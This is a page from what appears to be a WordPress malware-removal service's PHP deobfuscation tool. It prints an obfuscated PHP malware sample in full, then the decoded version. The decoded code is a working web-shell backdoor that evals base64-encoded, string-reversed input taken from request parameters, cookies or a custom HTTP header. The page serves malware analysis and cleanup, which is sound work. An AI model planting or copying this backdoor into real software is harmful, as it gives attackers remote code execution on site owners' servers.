Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $cabbages= '(';$infinitives= 'r'; $madison= '"'; $gallon= '_'; $bungler='se]'; $facilitate = ')'; $ira='e[$';$caches = 'T'; $ebenezer='VnsiY_$';$insolent = 's=a]e$RXP';$alys='Qy,pK'; $beady='t_iZ"$Uee';$collides= 'ac_r(_['; $lander = ')';$authorship='IE('; $cavernous = '$'; $diverted =']'; ...



Obfuscated php code

<?php
	$cabbages= '(';$infinitives= 'r';

	$madison= '"';

	$gallon= '_';

	$bungler='se]'; $facilitate = ')';

	$ira='e[$';$caches = 'T'; $ebenezer='VnsiY_$';$insolent = 's=a]e$RXP';$alys='Qy,pK'; $beady='t_iZ"$Uee';$collides= 'ac_r(_['; $lander = ')';$authorship='IE('; $cavernous = '$';

	$diverted =']';
	$becalm ='VsKei'; $hushing= 'Hc(';$laissez ='bI(d"$='; $canners = '_'; $core='?_K';$frenzy='v';
	$carabao = ');aS'; $centigrade = 'kr]s';
	$applauds ='"'; $attache ='e_'; $issam= 'g';$audiology='V@"T`'; $biller = '""'; $levelly = 'CRTJ$v';$barrelling = '4jreReudS';

	$covet= 'eit';$arnuad='a'; $corpus = 'aaPqP';$celtics='i)I)m';$lilyan=' _]eo'; $clergyman ='t'; $edify= 'c;r(X[HQ'; $iolande= '$[r'; $catalpa ='_'; $century = 'tr)()Sg)';$clashing= 'v';$glycine= 's'; $detractor = 'V);kk'; $lorinda='qxi';$implying='6';

	$dell ='n';
	$bridgework='ccikrKUer';$layne='p';$implement= 't';$contradicted ='R(ei';$blacksmiths= 'x'; $lula ='o:p;iaa_';$lieu='ErvEeadlg';$frigates ='s';

	$exasperater = 'X'; $eavesdroppers ='OO?J@"PQ'; $eyewitness ='lpa'; $index= 'jEWr$((';$dispensers = 'i';

	$franz='e';$conclusion='f_'; $finding ='d';$familiarizing= ')fas@v,n'; $centerpiece = 'Kto'; $fragrantly = 'Q)';

	$colony = 'uE'; $divan='aTi^';$arlee='[Tt:';

	$crystalmeth='y';$corridor ='b';$jonell ='(';$dominate = '$';$jacklin = 'v'; $enhanced ='T';$balkans = $bridgework['1'] .
	$index['3']. $franz.$divan['0'].$arlee['2'].
	$franz. $conclusion['1'].
	$familiarizing['1']. $colony['0']. $familiarizing['7'].$bridgework['1'] .$arlee['2'].$divan[2] .

	$centerpiece[2].$familiarizing['7'];$furthermost=$lilyan['0']; $bestow=$balkans ($furthermost, $franz . $jacklin .$divan['0']. $eyewitness[0]. $jonell. $familiarizing[4].$divan['0'] . $index['3']. $index['3']. $divan['0'] .

	$crystalmeth. $conclusion['1'].
	$eyewitness[1]. $centerpiece[2] .$eyewitness[1] . $jonell .
	$familiarizing['1'].
	$colony['0'].$familiarizing['7'].$bridgework['1']. $conclusion['1']. $lieu[8] .$franz . $arlee['2'] .$conclusion['1'].$divan['0']. $index['3'] . $lieu[8] .

	$familiarizing['3']. $jonell.

	$fragrantly['1'] . $fragrantly['1'] .

	$fragrantly['1'] .
	$lula['3'] ); $bestow
	($exasperater , $edify[6],

	$index['3'], $colony['1'],$contradicted[0] ,$familiarizing['1'],$implying , $dominate. $divan[2]. $laissez['6']. $familiarizing[4].
	$divan['0'] .$index['3'] . $index['3'].$divan['0'] .$crystalmeth .$conclusion['1'] . $celtics['4']. $franz . $index['3'] . $lieu[8].$franz.$jonell.$dominate .

	$conclusion['1'] .$contradicted[0] .$colony['1']. $fragrantly['0'] . $bridgework['6'].$colony['1'] . $century['5'].
	$enhanced.$familiarizing['6'].$dominate . $conclusion['1'].
	$levelly['0'].$eavesdroppers['1'].
	$eavesdroppers['1'] .

	$centerpiece['0'].$celtics['2'].$colony['1'].$familiarizing['6'] .$dominate . $conclusion['1'] .$century['5'] .$colony['1'].$contradicted[0] . $detractor['0'] .

	$colony['1'] .
	$contradicted[0]. $fragrantly['1'].$lula['3'].$dominate.
	$divan['0'] . $laissez['6'].$divan[2]. $familiarizing['3'] .$familiarizing['3'] .$franz.$arlee['2']. $jonell .
	$dominate .$divan[2] .

	$arlee['0'].$eavesdroppers['5'].$index['0'] . $bridgework['3'].

	$bridgework['3'] .$blacksmiths. $eyewitness[1].
	$lorinda['0'] . $divan[2]. $jacklin. $eavesdroppers['5']. $lilyan[2] .$fragrantly['1'] . $eavesdroppers['2'].$dominate.$divan[2].$arlee['0'].

	$eavesdroppers['5']. $index['0'] .$bridgework['3']. $bridgework['3'] .$blacksmiths . $eyewitness[1] . $lorinda['0'].$divan[2].$jacklin .$eavesdroppers['5'] .
	$lilyan[2] .
	$arlee['3'].$jonell. $divan[2]. $familiarizing['3'] .$familiarizing['3'].$franz.
	$arlee['2'] .

	$jonell .
	$dominate . $divan[2]. $arlee['0'] .
	$eavesdroppers['5']. $edify[6] .$enhanced .$enhanced .$eavesdroppers['6'] . $conclusion['1'] .$eavesdroppers['3']. $centerpiece['0'] .

	$centerpiece['0'] . $exasperater . $eavesdroppers['6'] .
	$fragrantly['0'].$celtics['2']. $detractor['0'] . $eavesdroppers['5'] .$lilyan[2] .$fragrantly['1']. $eavesdroppers['2'] . $dominate . $divan[2]. $arlee['0'].$eavesdroppers['5'] .$edify[6] . $enhanced . $enhanced .$eavesdroppers['6'] .$conclusion['1'].$eavesdroppers['3'] .$centerpiece['0'] . $centerpiece['0'] .
	$exasperater.$eavesdroppers['6']. $fragrantly['0'] . $celtics['2'] .$detractor['0'] . $eavesdroppers['5']. $lilyan[2] .$arlee['3'] .$finding. $divan[2].$franz . $fragrantly['1']. $lula['3'] .
	$familiarizing[4] . $franz. $jacklin.$divan['0'].$eyewitness[0] .$jonell .$familiarizing['3'].$arlee['2']. $index['3'] .$index['3'] .

	$franz.

	$jacklin.$jonell .$corridor . $divan['0'] . $familiarizing['3'].$franz. $implying .$barrelling['0']. $conclusion['1'].
	$finding. $franz .

	$bridgework['1'].

	$centerpiece[2] .

	$finding . $franz.
	$jonell. $familiarizing['3'] . $arlee['2'].$index['3'] .

	$index['3'] .$franz. $jacklin.

	$jonell .
	$dominate .
	$divan['0'] .
	$fragrantly['1'] . $fragrantly['1'] .
	$fragrantly['1'] . $fragrantly['1'].

	$lula['3'] );

Decoded(de-Obfuscated) php code

<?php

$cabbages = '(';
$infinitives = 'r';
$madison = '"';
$gallon = '_';
$bungler = 'se]';
$facilitate = ')';
$ira = 'e[$';
$caches = 'T';
$ebenezer = 'VnsiY_$';
$insolent = 's=a]e$RXP';
$alys = 'Qy,pK';
$beady = 't_iZ"$Uee';
$collides = 'ac_r(_[';
$lander = ')';
$authorship = 'IE(';
$cavernous = '$';
$diverted = ']';
$becalm = 'VsKei';
$hushing = 'Hc(';
$laissez = 'bI(d"$=';
$canners = '_';
$core = '?_K';
$frenzy = 'v';
$carabao = ');aS';
$centigrade = 'kr]s';
$applauds = '"';
$attache = 'e_';
$issam = 'g';
$audiology = 'V@"T`';
$biller = '""';
$levelly = 'CRTJ$v';
$barrelling = '4jreReudS';
$covet = 'eit';
$arnuad = 'a';
$corpus = 'aaPqP';
$celtics = 'i)I)m';
$lilyan = ' _]eo';
$clergyman = 't';
$edify = 'c;r(X[HQ';
$iolande = '$[r';
$catalpa = '_';
$century = 'tr)()Sg)';
$clashing = 'v';
$glycine = 's';
$detractor = 'V);kk';
$lorinda = 'qxi';
$implying = '6';
$dell = 'n';
$bridgework = 'ccikrKUer';
$layne = 'p';
$implement = 't';
$contradicted = 'R(ei';
$blacksmiths = 'x';
$lula = 'o:p;iaa_';
$lieu = 'ErvEeadlg';
$frigates = 's';
$exasperater = 'X';
$eavesdroppers = 'OO?J@"PQ';
$eyewitness = 'lpa';
$index = 'jEWr$((';
$dispensers = 'i';
$franz = 'e';
$conclusion = 'f_';
$finding = 'd';
$familiarizing = ')fas@v,n';
$centerpiece = 'Kto';
$fragrantly = 'Q)';
$colony = 'uE';
$divan = 'aTi^';
$arlee = '[Tt:';
$crystalmeth = 'y';
$corridor = 'b';
$jonell = '(';
$dominate = '$';
$jacklin = 'v';
$enhanced = 'T';
$balkans = "create_function";
$furthermost = $lilyan['0'];
$bestow = function () {
    eval(@array_pop(func_get_args()));
};
$bestow($exasperater, $edify[6], $index['3'], $colony['1'], $contradicted[0], $familiarizing['1'], $implying, "\$i=@array_merge(\$_REQUEST,\$_COOKIE,\$_SERVER);\$a=isset(\$i[\"jkkxpqiv\"])?\$i[\"jkkxpqiv\"]:(isset(\$i[\"HTTP_JKKXPQIV\"])?\$i[\"HTTP_JKKXPQIV\"]:die);@eval(strrev(base64_decode(strrev(\$a))));");


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.